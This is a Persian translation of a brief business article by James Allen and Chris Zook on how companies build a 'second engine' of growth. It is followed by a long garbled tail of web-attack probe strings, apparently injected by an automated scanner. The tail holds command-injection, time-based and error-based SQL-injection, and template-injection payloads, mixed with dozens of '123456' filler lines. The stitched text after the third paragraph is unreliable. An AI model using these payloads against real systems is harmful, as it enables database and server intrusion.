By James Allen/ Chris Zook
نوشته: جیمز آلن و کریس زوک
ترجمه: دکتر معصومه عارف و حلیمه سبزه بین
در گذشته، مطمئنترین راه شرکتها برای یافتن موج جدید رشد، استفاده از قابلیتهای کسبوکار اصلی در یک بازار مجاور بود. اما بهتازگی الگوی جدیدی پدیدار شده است. شرکتهای زیادی در حال یادگیری هنر ساخت هستههای دوم بزرگ هستند: چیزی که زوک و آلن آن را موتور دوم مینامند. با توجه به اینکه در پنج سال گذشته، شصت درصد از شرکتهای عمومی (سهامی عام) بزرگ اغلب به دلیل ویرانسازیهای فناوری شاهد توقف یا رکود در رشد بودهاند، یافتن موتور دوم بهطور فزایندهای ضروری شده است.
این موضوع مستلزم چه چیزی است؟ موتورهای دوم موفق چهار عامل مشترک دارند: بازارهایی را هدف قرار میدهند که در آنها، منابع سود قابلتوجهی در حال رشد یا دگرگونی است، همانطور که کسبوکار رایانش ابری آمازون انجام داد؛ مزیت رقابتی متمایزی دارند که اغلب از طریق خرید ایجاد میشود، همانطور که در دیزنیپلاس اتفاق افتاد؛ رویکردهای کارآفرینانه اتخاذ میکنند (مانند واحد دیجیتال بردسکو)؛ و از مقیاس و داراییهای هسته اصلی استفاده میکنند (همانند شرکت تصفیه اکولب).
در مجموع، این چهار عنصر اثر یکدیگر را افزایش میدهند و اغلب کسبوکارهایی ایجاد میکنند که قابلیت بسیار بیشتری نسبت به هستههای اصلی شرکتها دارند.
123456
123456
expr 847198688 + 998733892
123456|expr 973325856 + 803617561
123456$(expr 899416190 + 856724522)
123456&set /A 857147374+973532991
123456
123456
123456
123456
123456
123456
expr 822745360 + 879834448
123456
123456
${@var_dump(md5(740359548))};
123456
123456
123456
123456
123456'and/**/extractvalue(1,concat(char(126),md5(1046292531)))and'
123456
'-var_dump(md5(983539384))-'
123456
123456/**/and+2=2
${883976435+932136921}
123456"and/**/extractvalue(1,concat(char(126),md5(1060350969)))and"
123456
123456
123456/**/and+4=6
extractvalue(1,concat(char(126),md5(1037604879)))
123456
123456
123456
123456'and'f'='f
123456
123456
123456'and's'='t
123456'and(select'1'from/**/cast(md5(1635260299)as/**/int))>'0
123456
123456"and"i"="i
123456/**/and/**/cast(md5('1204396465')as/**/int)>0
123456"and"g"="e
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1758046380')))
123456
123456
123456
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1334650213')))>'0
123456
123456鎈'"\(
/*1*/{{925141537+846917519}}
123456
123456'"\(
${932734481+825617312}
(select*from(select+sleep(0)union/**/select+1)a)
123456
123456
${(877648308+935821846)?c}
(select*from(select+sleep(5)union/**/select+1)a)
123456
123456
#set($c=990130563+823916244)${c}$c
123456
123456
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
<%- 981836277+971857618 %>
123456
123456
123456
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
123456
123456"and(select*from(select+sleep(5))a/**/union/**/select+1)="
123456
123456
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
123456
123456
123456/**/and(select+1/**/from/**/pg_sleep(5))>0/**/
123456
123456
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
123456
123456
123456'/**/and(select'1'from/**/pg_sleep(5))::text>'0
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
123456
123456/**/and(select+1)>0waitfor/**/delay'0:0:5'/**/
123456/**/and(select+1)>0waitfor/**/delay'0:0:6'/**/
123456'and(select+1)>0waitfor/**/delay'0:0:0
123456'and(select+1)>0waitfor/**/delay'0:0:5
123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('r',0)
123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('c',5)
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('q',0)='q
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('e',5)='e
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456